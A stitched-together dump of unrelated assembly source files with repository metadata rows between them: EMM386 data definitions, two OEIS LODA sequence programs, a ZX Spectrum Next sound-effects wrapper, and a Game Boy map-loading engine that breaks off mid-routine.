object SPRITE_FOULARD_WOMAN, 33, 6, STAY, DOWN, 7, OPP_BEAUTY, 4
object SPRITE_FOULARD_WOMAN, 32, 6, STAY, DOWN, 8, OPP_BEAUTY, 5
object SPRITE_BIKER, 10, 7, STAY, UP, 9, OPP_BIKER, 1
object SPRITE_BLACK_HAIR_BOY_1, 7, 13, STAY, UP, 10, OPP_BIRD_KEEPER, 3
| 38.818182 | 75 | 0.729508 |
ab4466f2b63f6eb572c4b3d9e72d17a3f8a18b8f | 18,774 | asm | Assembly | dev/emm386/emmdata.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | dev/emm386/emmdata.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | dev/emm386/emmdata.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | .386p
page 58,132
;******************************************************************************
title EMMDATA - EMM data structures definitions
;******************************************************************************
;
; (C) Copyright MICROSOFT Corp. 1986-1991
; (C) Copyright COMPAQ Computer Corp. 1986-1991
;
; Title: EMM386.EXE - MICROSOFT Expanded Memory Manager 386 Driver
; EMMLIB.LIB - Expanded Memory Manager Functions Library
;
; Module: EMMDATA
;
; Version: 0.04
;
; Date: June 14,1986
;
; Author: Phil Barrett.
;
;******************************************************************************
;
; Change log:
;
; DATE REVISION DESCRIPTION
; -------- -------- -------------------------------------------------------
;
;******************************************************************************
;
; Functional Description:
; data definitions for emm/lim
;
;******************************************************************************
page
;******************************************************************************
; PUBLICS
;******************************************************************************
PUBLIC xma2ems ; An XMA2EMS compatible
public total_handles
public ttl_hndls
public number_EMS_windows
public EMS_window_location
public EMSsegLoc
public UMBptr
public HMAptr
public UMBHMA
public hndl_tbl_ptr
public hndl_nam_ptr
public save_map_ptr
public save_flag
public OS_functions
public OS_key
public current_register_set
public handle_count
public cntWinPages
public ScratchHandleSpace
public TopOfHandleSpace
public TopOfFreeEMSspace
public TopOfUsedEMSspace
public BotOfVCPIspace
public UsedEMSPages
public UsedVCPIPages
public MaxEMSpool
public MinEMSpool
public NumberHandlePages
public LastHandleMap
public CurrentHandleMap
public subfunction_number
public function_number
public saved_gdtr
public saved_idtr
public saved_ldtr
public saved_tr
public saved_cr2
public saved_cr3
public VCPI_version
public number_code_PTEs
public code_address
public code_offset
public data_address
public data_offset
public real_idt
public end_of_base_memory_PTE
public context_save_area_size
public page_directory
public page_tables
public Stack0
public Stack0_top
public driver_end
public segR1_CODE
public IRQ1Event
public p60data
public p64data
public TopOfPhysicalMemory
public MaxPTEIndex
public msg_flag
public PF_Base
public VCPIset
public NoEMSset
public NoPFset
public UserDS
public UserES
public UserFS
public UserGS
public UserSS
public UserSP
public RealSS
public RealSP
public StackTop
public RealStack
public LastStack
public RealStackTop
public LastStackTop
public RealStack2_top
public Current_State
public Current_Mode
public Auto_State
public Weitek_State
public PageD_Addr
public TrapFlags
public ErrType
public ErrNum
;;public PrevInt10
;;public PrevInt11
public PrevInt13
public PrevInt15
public PrevInt19
public PrevInt2F
;;public PrevInt4B
public CROM_Length
public arg_str
public Initial_Mode
public Initial_Weitek
public DMABufferSize
public DMABufferAddress
public DMAFlags
public DMAPortList
public DMAEISAPortList
public DMAMCAPortList
public TOTAL_DMA_PORTS
public TOTAL_DMA_EISA_PORTS
public TOTAL_DMA_MCA_PORTS
public DMA_page_port
public DMA_address_port
public DMA_count_port
public DMA_EISA_HighPagePort
public DMA_EISA_HighCountPort
public DMA_single_mask_port
public DMA_clr_FF_port
public DMAActive
public Int10_Save
public RR_Last
public RR85save
public RR84save
public buffer
public ext_rem
PUBLIC total_register_sets
public saved_pointer
public GDT_Ptr
public IDT_Ptr
public DiagByte
public Exit_Flags
public strtng_bs_wndw_PTE
public ROMID
public GenFlags
public TSS
public IOBitMap
public TSSLEN
public p_TEXT
public p_DATA
public pSTACK
public pTSS
public pGDT
public pIDT
ifdef MSFLAG
public Stack2
public Stack2_top
endif
ifdef QEMS
public installed
public first_free_handle_space
public ext_vdisk
public avail_mem
public high_memory_address
public hi_size
public hi_alloc
public hisys_alloc
public ext_memory_address
public ext_size
public total_mem
public AllocMapPtr
public VCPIAllocMapPtr
public pool_size
public number_page_tables
public starting_handle_PTE
public number_handle_PTEs
public starting_ext_mem_PTE
public number_ext_mem_PTEs
public starting_high_mem_PTE
public number_high_mem_PTEs
public starting_conv_mem_PTE
public number_conv_mem_PTEs
PUBLIC free_pages ; Original free 4K pages
public free_4k_pages
public total_4k_pages
PUBLIC PH_entries
PUBLIC PH_boundary
PUBLIC my_AX
public EMS_cntxt
public EMS_window
public EMS_window_ptr
public save_area_pointer
public target_offset
public target_segment
endif
;******************************************************************************
; INCLUDES
;******************************************************************************
include vdmseg.inc
include vdmsel.inc
include desc.inc
include dma.inc
include ascii_sm.equ
include emmfunct.inc
include oemdep.inc
include emm386.inc
include page.inc
page
;******************************************************************************
; SEGMENTS
;******************************************************************************
R_CODE segment
ALIGN 4
msg_flag dd 0 ;
PageD_Addr dd 0 ; The address of page directory
HMAptr dd 100000h ; physical address of HMA
;;PrevInt10 dd 0 ; The old int10 vector
;;PrevInt11 dd 0 ; The old int11 vector
PrevInt13 dd 0 ; The old int13 vector
PrevInt15 dd 0 ; The old int15 vector
PrevInt19 dd 0 ; The old int19 vector
;;PrevInt4B dd 0 ; The old int4B vector
Int10_Save dd ? ; saved int10 vector from CEMM load
GDT_Ptr dd 2 dup (0) ; GDT ptr for LGDT
IDT_Ptr dd 2 dup (0) ; IDT ptr for LIDT
GenFlags dd fNoEMSInt ; General System Flags (no MES interrupts)
ttl_hndls dw 64
TrapFlags dw 0 ; Flags to trap into protected mode
TopOfHandleSpace dw 0
TopOfFreeEMSspace dw 0
TopOfUsedEMSspace dw 0
BotOfVCPIspace dw 0
UsedEMSPages dw 0
UsedVCPIPages dw 0
MaxEMSpool dw 0 ; max size of EMS pool in Kb
MinEMSpool dw 0 ; min size (preallocated) of EMS pool
UserDS dw 0 ; save area for entry stack DS
UserES dw 0 ; save area for entry stack ES
UserFS dw 0 ; save area for entry stack FS
UserGS dw 0 ; save area for entry stack GS
UserSS dw 0 ; save area for entry stack SS
UserSP dw 0 ; save area for entry stack SP
RealSS dw 0 ; save area for CEMM real stack SS
RealSP dw 0 ; save area for CEMM real stack SP
StackTop dw Stack0_top ; size of protected mode stack
segR1_CODE dw seg R1_CODE ; final segment of R1_CODE
driver_end dw 0 ; segment address of the driver's end
Current_State dw 0 ; The current ON/OFF state of CEMM
UMBptr dw 0 ; pointer to first UMB arena
ErrType dw 0 ; Error type (Exception, Privilige, DMA)
ErrNum dw 0 ; Error number
CROM_Length dw 0 ; length of COMPAQ option ROM
ext_rem dw 0 ; remaining extended memory in kbytes
Exit_Flags dw 0 ; flags for int15 exit
PF_Base dw 0FFFFh ;
handle_count dw 0 ; number of handles allocated
cntWinPages dw 0 ; count of WIN= pages
Current_Mode db 0 ; The current auto ON/OFF state of CEMM
Auto_State db 0 ; The current auto ON/OFF state of CEMM
Weitek_State db 0 ; The current Weitek ON/OFF state
Initial_Mode db 0FFh ; initial CEMM mode, ON/OFF/AUTO
Initial_Weitek db 0FFh ; initial weitek mode, ON/OFF
VCPIset db -1
NoEMSset db FALSE
NoPFset db FALSE
UMBHMA db FALSE ; CEMM is providing UMBs or and HMA
ifdef QEMS
free_pages DW 0 ; Original free 4K pages
free_4k_pages dw 0 ; number of unallocated 4k pages
total_4k_pages dw 0 ; total available 4k pages
starting_ext_mem_PTE dw 0 ; starting extended memory location
number_ext_mem_PTEs dw 0 ; number of extended memory PTEs
starting_high_mem_PTE dw 0 ; starting Built In Memory location
number_high_mem_PTEs dw 0 ; number of Built In Memory PTEs
starting_conv_mem_PTE dw 0 ; starting conventional 640k location
number_conv_mem_PTEs dw 0 ; number of conventional memory PTEs
number_page_tables dw 0 ; the number of used page tables
endif
;***********************************************************************
; VCPI Variables
;***********************************************************************
ALIGN 4
saved_cr2 dd ? ; used for storing CEMM's regs.
saved_cr3 dd ? ; used for storing CEMM's regs.
VCPI_version dd 0100h ; the version number
data_offset dd ? ; for ModeInterface
data_address dd ? ; for ModeInterface
code_offset dd ? ; for ModeInterface
code_address dd ? ; for ModeInterface
saved_gdtr dq ? ; used for storing CEMM's regs.
saved_idtr dq ? ; used for storing CEMM's regs.
saved_ldtr dw ? ; used for storing CEMM's regs.
saved_tr dw ? ; used for storing CEMM's regs.
real_idt dw 0400h ; real mode DOS IDT limit
dd 0 ; and base ptr
dw 0 ; just in case qword used
number_code_PTEs dw ? ; for ModeInterface
;===============================================================================
;== 32 bit pointers to major data blocks
;===============================================================================
ALIGN 4
p_TEXT dd 0 ; 32 bit pointer to _TEXT
p_DATA dd 0 ; 32 bit pointer to _DATA
pSTACK dd 0 ; 32 bit pointer to STACK
pTSS dd 0 ; 32 bit pointer to TSS
pGDT dd 0 ; 32 bit pointer to GDT
pIDT dd 0 ; 32 bit pointer to IDT
R_CODE ends
R1_CODE segment
dw 128 dup(0FFFFh)
RealStack2_top label byte
PrevInt2F dd 0 ; The old int2F vector
R1_CODE ends
page
;******************************************************************************
; SEGMENTS
;******************************************************************************
_DATA segment
assume cs:_DATA,ds:_DATA
ALIGN 4
page_directory dd 0 ; 32 bit address of the page directory
page_tables dd 0 ; 32 bit address of the page tables
ScratchHandleSpace dd 0 ; 32 bit address of scratch handle space
TopOfPhysicalMemory dd 0 ; top of physical memory
MaxPTEIndex dd 0 ; maximum PTE index in page tables
saved_pointer dd 0
xma2ems DW ? ; An XMA2EMS compatible
total_handles dw 64 ; Default handles supported
strtng_bs_wndw_PTE dw 40h ; Default base window starts at 256K
end_of_base_memory_PTE dw 0 ; last valid real memory location
context_save_area_size dw 0 ; size to save the window mapping in
NumberHandlePages dw ? ; pages used for handle space
LastHandleMap dw 0FFCh ; used for handle space mapping
CurrentHandleMap dw 0 ; used for handle space mapping
buffer dw 0 ; buffer for 1 word move blocks
subfunction_number db 0 ; the AL subfunction number
function_number db 0 ; the AH subfunction number
IRQ1Event db TRUE ; flag indicating IRQ1 has ocurred
p60data db 0 ; last keyboard scan code
p64data db 0 ; last CMD written to port 64h
arg_str db MAX_ARG_LEN+1 dup(0)
RR_Last db 0 ; last RR port trapped
RR85save db 0FFh
RR84save db 0FFh
total_register_sets DB 8 ; 7 alternate register sets + register set 0
; at int19h.
DiagByte db LOW LOCK_ROM ; most recent diag byte written by user
ROMID db 0 ; machine ID
ifdef QEMS
hi_size dw 0 ; size of hi memory in kbytes
hi_alloc dw 0 ; actual hi memory allocated (due to waste)
hisys_alloc dw 0 ; amount of hi system mem allocated in 4k bytes
ext_size dw 0 ; size of extended memory in kbytes
total_mem dw 0 ; Total extended memory
ext_vdisk dw 0 ; VDISK extended memory used kbytes
avail_mem dw 0 ; Available memory
first_free_handle_space dw 0
starting_handle_PTE dw ? ; starting handle location
my_AX DW ? ; Scratch area
high_memory_address dd 0 ; 32 bit address of high memory pool
ext_memory_address dd 100000h ; 24 bit address of extended memory pool
pool_size dw 0 ; Default is 256K
number_handle_PTEs dw ? ; number of PTEs reserved for handles
PH_entries DW ? ; Number of entries for PHs
PH_boundary DW ? ; Beyond the boundary of PHs
target_offset dw 0
target_segment dw 0
installed db 0 ; 1 => VDISK style header already installed
endif
;***********************************************************************
; OS_functions
; These are various variables used for the OS/E functions.
;***********************************************************************
ALIGN 4
OS_key dd 0
OS_functions dw 001h
;***********************************************************************
; DMA
; These are the various DMA port register variables.
;***********************************************************************
ALIGN 4
DMABufferSize dd 8000h ; default of 32K (changed by parser)
DMABufferAddress dd 0 ; entered during initialization
DMAFlags db 0 ; DMA genearal flags
DMAActive db 0 ; bit set if a DMA channel is active
DMA_single_mask_port label byte
db DMA_SINMASK1 ; DMA single mask registers
db DMA_SINMASK1
db DMA_SINMASK1
db DMA_SINMASK1
db 0
db DMA_SINMASK2
db DMA_SINMASK2
db DMA_SINMASK2
DMA_clr_FF_port label byte
db DMA_CLR_FF1 ; reset flip-flop commands
db DMA_CLR_FF1
db DMA_CLR_FF1
db DMA_CLR_FF1
db 0
db DMA_CLR_FF2
db DMA_CLR_FF2
db DMA_CLR_FF2
DMAPortList label byte
DMA_page_port label byte
db DMA_P0 ; DMA page registers
db DMA_P1
db DMA_P2
db DMA_P3
db 0
db DMA_P5
db DMA_P6
db DMA_P7
DMA_address_port label byte
db DMA_B0 ; DMA base registers
db DMA_B1
db DMA_B2
db DMA_B3
db 0
db DMA_B5
db DMA_B6
db DMA_B7
DMA_count_port label byte
db DMA_C0 ; DMA count registers
db DMA_C1
db DMA_C2
db DMA_C3
db 0
db DMA_C5
db DMA_C6
db DMA_C7
db DMA_STAT1
db DMA_STAT2
db DMA_REQUEST1
db DMA_REQUEST2
db DMA_SINMASK1 ; DMA single mask registers
db DMA_SINMASK2
db DMA_MODE1
db DMA_MODE2
db DMA_RESET1
db DMA_RESET2
db DMA_RESMASK1
db DMA_RESMASK2
db DMA_MASK1
db DMA_MASK2
db DMA_CLR_FF1
db DMA_CLR_FF2
TOTAL_DMA_PORTS equ $-DMAPortList
DMAEISAPortList label word
DMA_EISA_HighPagePort label word
dw DMA_E_P0 ; EISA DMA high page port
dw DMA_E_P1
dw DMA_E_P2
dw DMA_E_P3
dw DMA_E_P5
dw DMA_E_P6
dw DMA_E_P7
DMA_EISA_HighCountPort label word
dw DMA_E_C0 ; EISA DMA high count port
dw DMA_E_C1
dw DMA_E_C2
dw DMA_E_C3
dw DMA_E_C5
dw DMA_E_C6
dw DMA_E_C7
dw DMA_E_IS ; EISA Channel interrupt status register (read only)
dw DMA_E_CS ; EISA Chaining mode status register (read only)
dw DMA_E_CH1 ; EISA ChainMode for channels 0-3 (write only)
dw DMA_E_CH2 ; EISA ChainMode for channels 5-7 (write only)
dw DMA_E_EM1 ; EISA Extended Mode for channels 0-3
dw DMA_E_EM2 ; EISA Extended Mode for channels 5-7
TOTAL_DMA_EISA_PORTS equ ($-DMAEISAPortList)/2
DMAMCAPortList label byte
db DMA_XFN ; MCA exteneded function register
db DMA_EXE ; MCA execute register
TOTAL_DMA_MCA_PORTS equ $-DMAMCAPortList
;=============================================================================
;==
;== The TSS is in the _DATA segment for easy access during interrupt handling
;==
;=============================================================================
even
TSS: TSS386STRUC <>
;
; I/O Bit Map for Virtual Mode I/O trapping
;
public IOBitMap
IOBitMap equ $-TSS
db 2000h dup (0) ; initialize all ports to NO trapping
db 0FFh ; last byte is all 1's
TSSLEN equ $-TSS
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; The following items have dynamic sizes computed during istallation. ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;***********************************************************************
; EMS_window[]
; This is an array of structures where each structure defines the
; PTE index of where the window is located and it current mapping.
; This is initialized at init time and then the contents are copied
; to the array in Register Set 0. The value of EMS_window_ptr is then
; initialized to the Register Set 0 array. This EMS_window array is
; then used only during SetAlternateRegSet for copying the contents
; of the user buffer before we do the switch to another reg set.
;
; The label EMS_cntct is used for this purpose. The first word is
; used to hold the number of ems windows and the secong is used to
; hold the ID.
;
;***********************************************************************
number_EMS_windows dw ? ; actual number of windows available
EMS_window_location dw TOTAL_EMS_WINDOWS dup (FREE)
EMSsegLoc db 256 dup (-1)
ifdef QEMS
EMS_cntxt label word
dw ? ;
dw ? ;
EMS_window label word
rept TOTAL_EMS_WINDOWS
EMS_window_struc <FREE,NULL_PAGE>
endm
EMS_window_ptr dd ?
endif
;***********************************************************************
; register_set[]
; These are various variables used for the alternate page registers
; One additional data space is reserved for the MapAndCall routine.
;***********************************************************************
current_register_set db 0
;QEMS save_area_pointer dd 0
;register_set label word
;rept TOTAL_REGISTER_SETS + 1
; RegisterSet_struc <>
;endm
;***********************************************************************
; handle_table
; These are various variables used for the handles
;***********************************************************************
;handle_table label word
;rept MAX_HANDLES
; HandleTable_struc <NULL_PAGE,0>
;endm
hndl_tbl_ptr DD ?
;handle_name label qword ; used for holding the handle's name
;rept MAX_HANDLES
; db 8 dup (0)
;endm
hndl_nam_ptr DD ?
;***********************************************************************
; save_map[]
; This is an array of structures that save the current mapping state.
; The save_map array is only used with the 'Save Page Map' EMS function
; which only saves the 3.2 windows (page frame base).
;***********************************************************************
;save_map label word
;rept MAX_HANDLES
; EMS_window_struc TOTAL_PF_WINDOWS dup (<FREE, NULL_PAGE>)
;endm
save_map_ptr DD ?
save_flag LABEL BYTE
rept MAX_HANDLES
DB FREE
endm
ifdef QEMS
;==============================================================================
;== EMS and VCPI memory allocation bit map
;==============================================================================
align 16
AllocMapPtr dd 0 ; pointer to page alloc bitmap
VCPIAllocMapPtr dd 0 ; pointer to VCPI page alloc bitmap
endif
_DATA ends
page
;******************************************************************************
; SEGMENTS
;******************************************************************************
STACK segment
;******************************************************************************
; Stack0_top - Ring 0 stack for VDM exception/int handling
;******************************************************************************
Stack0 label byte
dd Stack0Size dup(0)
Stack0_top label byte
ifdef MSFLAG
Stack2 label byte
dw 64 dup(0)
Stack2_top label byte
endif
STACK ends
R_STACK segment
RealStack label byte
dw 128 dup(0FFFFh)
RealStackTop label byte
R_STACK ends
L_STACK segment
LastStack label byte
dw 1024 dup('TS')
LastStackTop label byte
L_STACK ends
END
| 28.445455 | 80 | 0.6615 |
1d5c6519c642047a6c80169c1077e4d69873493b | 564 | asm | Assembly | oeis/016/A016631.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/016/A016631.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/016/A016631.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A016631: Decimal expansion of log(8).
; Submitted by Jon Maiga
; 2,0,7,9,4,4,1,5,4,1,6,7,9,8,3,5,9,2,8,2,5,1,6,9,6,3,6,4,3,7,4,5,2,9,7,0,4,2,2,6,5,0,0,4,0,3,0,8,0,7,6,5,7,6,2,3,6,2,0,4,0,0,2,8,4,8,0,1,8,0,8,6,5,9,0,9,0,8,4,1,4,6,8,1,7,5,8,9,9,8,0,9,8,9,2,5,6,0,6,2
mov $2,3
mov $3,$0
mul $3,5
lpb $3
mul $1,$3
mov $5,$3
mul $5,2
add $5,2
mul $2,$5
add $1,$2
cmp $4,0
mov $5,$0
add $5,$4
div $1,$5
div $2,$5
sub $3,1
lpe
div $1,2
mul $1,3
mov $6,10
pow $6,$0
mov $4,$6
cmp $4,1
add $6,$4
div $2,$6
div $1,$2
add $1,$6
mov $0,$1
mod $0,10
| 16.588235 | 201 | 0.51773 |
6ff6e4ec79c045697ff9e611a856ba3a91e985b8 | 1,734 | asm | Assembly | src/ayfx.asm | headkaze/zxnext_dual_vt_sound | 957fc57e102a569caddd5455714cc06c30080d5f | [
"MIT"
] | null | null | null | src/ayfx.asm | headkaze/zxnext_dual_vt_sound | 957fc57e102a569caddd5455714cc06c30080d5f | [
"MIT"
] | null | null | null | src/ayfx.asm | headkaze/zxnext_dual_vt_sound | 957fc57e102a569caddd5455714cc06c30080d5f | [
"MIT"
] | null | null | null | SECTION BANK_14
EXTERN AYFX_INIT
EXTERN AYFX_PLAY
EXTERN AYFX_FRAME
EXTERN VT_START
PUBLIC _afx_init
PUBLIC _afx_play
PUBLIC _afx_frame
PUBLIC _afx_play_isr
PUBLIC _afx_set_play_isr_enabled
DEFC AY_SFX = 1
DEFC AY_SFX2 = 2
DEFC AY_MUSIC1 = 3 ; Main music channel (in game)
DEFC AY_MUSIC2 = 2
DEFC _IO_AY_REG = 0xfffd
DEFC VT_PLAY = VT_START + 5
_silence_ay:
ld hl,$FFBF ;initialize AY
ld e,$15
silenceAyInit:
dec e
ld b,h
out (c),e ;AY_SOUND_CONTROL_PORT
ld b,l
out (c),d ;AY_REGISTER_WRITE_PORT
jr nz,silenceAyInit
ret
_afx_init:
; hl contains afx bank address
di
push af
push bc
push de
push hl
push ix
call AYFX_INIT
pop ix
pop hl
pop de
pop bc
pop af
ei
ret
_afx_play:
di
push af
push bc
push de
push hl
push ix
ld a,l
call AYFX_PLAY
pop ix
pop hl
pop de
pop bc
pop af
ei
ret
_afx_frame:
di
push af
push bc
push de
push hl
push ix
call AYFX_FRAME
pop ix
pop hl
pop de
pop bc
pop af
ei
ret
_afx_play_isr:
di
push af
push bc
push de
push hl
ex af,af'
exx
push af
push bc
push de
push hl
push ix
push iy
play:
call AYFX_FRAME
end:
pop iy
pop ix
pop hl
pop de
pop bc
pop af
exx
ex af,af'
pop hl
pop de
pop bc
pop af
ei
reti
_afx_set_play_isr_enabled:
; l contains enablement/disablement parameter
ld a,l
ld (_afx_play_isr_enabled),a
ret
_afx_play_isr_enabled:
DEFB 1
_frame_counter:
DEFB 0
| 13.338462 | 55 | 0.581892 |
1d20beac2c2fccdc7a687ebfc16bcd8149e2ab24 | 299 | asm | Assembly | programs/oeis/177/A177234.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/177/A177234.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/177/A177234.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A177234: a(n) = binomial(n^2, n)/(n+1).
; 2,21,364,8855,278256,10737573,491796152,26088783435,1573664496040,106395830418878,7970714909592876,655454164338881388,58702034425556612832,5687847988198592380965,592867741295430227919600
add $0,2
mov $1,$0
pow $1,2
bin $1,$0
add $0,1
div $1,$0
mov $0,$1
| 27.181818 | 188 | 0.765886 |
51d526860cca49e0becdd8c148142fbfd831f80e | 8,583 | asm | Assembly | sav/engine/map_loader.asm | zzazzdzz/fools2019 | a0e9b7a100c13a9f08d202c90ca52498ae1d769b | [
"MIT"
] | 12 | 2018-10-26T12:00:31.000Z | 2020-06-10T01:10:35.000Z | sav/engine/map_loader.asm | stranck/fools2019 | d589aa20b554a6c88f437c56091baf27b325f104 | [
"MIT"
] | 3 | 2019-03-07T14:25:42.000Z | 2019-03-09T23:17:02.000Z | sav/engine/map_loader.asm | stranck/fools2019 | d589aa20b554a6c88f437c56091baf27b325f104 | [
"MIT"
] | 8 | 2019-01-17T16:04:47.000Z | 2021-10-21T01:11:40.000Z | ; *** map_loader.asm
; Custom map loader functions that handle reading map data from SRA3.
; Read a 16-bit pointer from SRA3 at HL. Return in HL.
Ld16FromSRA3:
ld a, 3
call LdFromSRAMBank
ld b, c
inc hl
ld a, 3
call LdFromSRAMBank
ld h, c
ld l, b
ret
; Copy BC bytes from SRA3:HL to DE.
FarCopyFromSRA3:
push bc
ld a, 3
call LdFromSRAMBank
ld a, c
pop bc
ld [de], a
inc de
inc hl
dec bc
ld a, c
or b
jr nz, FarCopyFromSRA3
ret
; Get pointer to a specific substructure of the current map.
; Substructures are defined by DATASTRUCT_* constants.
; Takes datastruct ID in A. Return pointer in HL.
GetPointerToMapDataStruct:
push de
push bc
push af
ld a, [wCurrentMapNumber]
sub $63
ld c, a
ld b, 0
ld hl, $a000
add hl, bc
add hl, bc
call Ld16FromSRA3
pop af
ld b, 0
ld c, a
add hl, bc
add hl, bc
call Ld16FromSRA3
pop bc
pop de
ret
; Gets the ID of the last talked BG event. Works by taking coordinates of the
; last BG event that was interacted with and searching for the event with
; the same coordinates. Returns ID in A.
ProcessLastTalkedBGEvents:
ld hl, wEngineBuffer1
ld a, [hli]
ld e, [hl]
ld d, a
ld hl, wCurMapBGEventsPointer
ld a, [hli]
ld h, [hl]
ld l, a
ld b, 1
ld a, [wCurMapBGEventCount]
inc a
ld c, a
.loop
push bc
ld a, [hli]
ld c, [hl]
ld b, a
call CompareBCToDE
jr nz, .next
.found
pop bc
ld a, b
ret
.next
ld bc, 4
add hl, bc
pop bc
inc b
ld a, b
cp c
jr nz, .loop
xor a
ret
; Gets the ID of the last activated coord event. Works similar to the routine
; above. Returns ID in A.
ProcessLastTalkedCoordEvents:
ld hl, wEngineBuffer1 + 1
ld a, [hli]
ld e, [hl]
ld d, a
ld hl, wCurMapCoordEventsPointer
ld a, [hli]
ld h, [hl]
ld l, a
inc hl
ld a, [wCurMapObjectEventCount]
ld b, a
ld a, [wCurMapBGEventCount]
add b
add b
add b
inc a
ld b, a
ld a, [wCurMapCoordEventCount]
add b
ld c, a
.loop
push bc
ld a, [hli]
ld c, [hl]
ld b, a
call CompareBCToDE
jr nz, .next
.found
pop bc
ld a, b
ret
.next
ld bc, 7
add hl, bc
pop bc
inc b
ld a, b
cp c
jr nz, .loop
xor a
ret
; Gets the ID of the NPC, sign or script last triggered by the player.
; The IDs are assigned as follows:
; 0x00 - undefined, will trigger an error handler
; next wCurMapBGEventCount IDs - BG events
; next 3*wCurMapObjectEventCount IDs - object events; each object event has a
; pointer for encounter text, defeat text and post-battle text, in case it is
; a trainer
; next wCurMapCoordEventCount - coord events
; 0xFF - an empty, silent script that returns immediately
; Returns the ID in A.
GetLastTalkedID:
ld a, [wReturnFromTrainerBattle]
and a
jr nz, .trainerExit
ldh a, [hLastTalked]
and a
jr nz, .objectEvent
.notObjectEvent
call ProcessLastTalkedBGEvents
and a
call z, ProcessLastTalkedCoordEvents
ld [wCurrentScriptID], a
ret
.objectEvent
ld c, a
ld a, [wCurMapBGEventCount]
inc a
dec c
add c
add c
add c
ld c, a
ld a, [wBattleMode]
and a
jr nz, .inBattle
ld a, c
ret
.inBattle
ld a, 1
ld [wReturnFromTrainerBattle], a
ld a, c
inc a
ret
.trainerExit
xor a
ld [wReturnFromTrainerBattle], a
ld a, $ff
ret
; Custom map loader routine.
LoadMapDataFromSRAM:
ld a, [wMapGroup]
ld [wCurrentMapGroup], a
ld a, [wMapNumber]
ld [wCurrentMapNumber], a
.setEventPointer
ld a, DATASTRUCT_EVENTS
call GetPointerToMapDataStruct
ld d, h
ld e, l
ld hl, wMapEventsPointer
ld [hl], e
inc hl
ld [hl], d
.setBlocksPointer
ld a, DATASTRUCT_BLOCKS
call GetPointerToMapDataStruct
ld d, h
ld e, l
ld hl, wMapBlocksPointer
ld [hl], e
inc hl
ld [hl], d
.loadOwnEvents
prepare_sram_call 3, ReadMapEvents
xor a
call CallInSRAMBank
ld a, DATASTRUCT_EVENTS
call GetPointerToMapDataStruct
ld de, $DEF6
push de
ld bc, 52
call FarCopyFromSRA3
pop de
ld hl, wMapEventsPointer
ld [hl], e
inc hl
ld [hl], d
ld a, 1
call CallInSRAMBank
.restoreFacing
ldh a, [hMapEntryMethod]
cp MAPSETUP_FALL
call z, RestoreFacingAfterWarp
cp MAPSETUP_DOOR
call z, RestoreFacingAfterWarp
cp MAPSETUP_TRAIN
call z, RestoreFacingAfterWarp
ret
; Get Ath event pointer from current map data.
GetScriptOrTextPointerFromSRAM:
push af
ld a, DATASTRUCT_SCRIPTS
call GetPointerToMapDataStruct
pop af
ld c, a
ld b, 0
dec c
add hl, bc
add hl, bc
jp Ld16FromSRA3
; Execute the current map's initialization script.
; Makes sure to switch to SRA3 (that's where map data is stored)
ExecuteMapInitScript:
ld a, DATASTRUCT_INITSCRIPT
call GetPointerToMapDataStruct
ld a, 3
ld d, h
ld e, l
call PrepareSRAMCall
jp CallInSRAMBank
; Check which object was interacted with and run the correct script.
LoadScriptFromSRAM:
xor a
ld [wForceSpecificTextboxID], a
call GetLastTalkedID
ld b, a
ld hl, GenericTextboxScript
and a
jr z, .noScript
cp $ff
jr nz, .retryScriptPtr
ld hl, EmptyScriptReturn
jr .noGeneric
.retryScriptPtr
push bc
call GetScriptOrTextPointerFromSRAM
pop bc
.noScript
ld a, h
and $e0
cp $20
jr nz, .noGeneric
ld hl, GenericTextboxScript
.noGeneric
ld a, 3
call LdFromSRAMBank
ld a, c
cp TEXTBOX_START_MARKER
jr z, .scriptInvalid
cp TEXTBOX_TXFAR_MARKER
jr nz, .scriptValid
.scriptInvalid
ld a, b
add 2
ld b, a
ld [wForceSpecificTextboxID], a
jr .retryScriptPtr
.scriptValid
ld bc, 256
ld de, wScriptTempLocation
push de
call FarCopyFromSRA3
pop de
ld hl, wScriptPos
ld [hl], e
inc hl
ld [hl], d
ld hl, wScriptStackSize
ld e, [hl]
inc [hl]
ld d, 0
ld hl, wScriptStack
add hl, de
add hl, de
add hl, de
ld de, MapCallScriptInSRAMReturn
ld [hl], 1
inc hl
ld [hl], e
inc hl
ld [hl], d
ret
; Check which object was interacted with and print its script pointer as text.
LoadTextFromSRAM:
ld a, 3
ld [wPrintTextVWFSourceBank], a
ld hl, wSpecificTextboxPointer
ld a, [hli]
ld h, [hl]
ld l, a
or h
jr nz, .noGeneric
call GetLastTalkedID
ld b, a
ld hl, UndefinedEventErrorHandlerText
and a
jr z, .noScript
ld a, [wForceSpecificTextboxID]
and a
jr nz, .forceTextbox
ld a, b
.forceTextbox
call GetScriptOrTextPointerFromSRAM
.noScript
ld a, h
and $e0
cp $20
jr nz, .noGeneric
ld a, h
add $80
ld h, a
.noGeneric
xor a
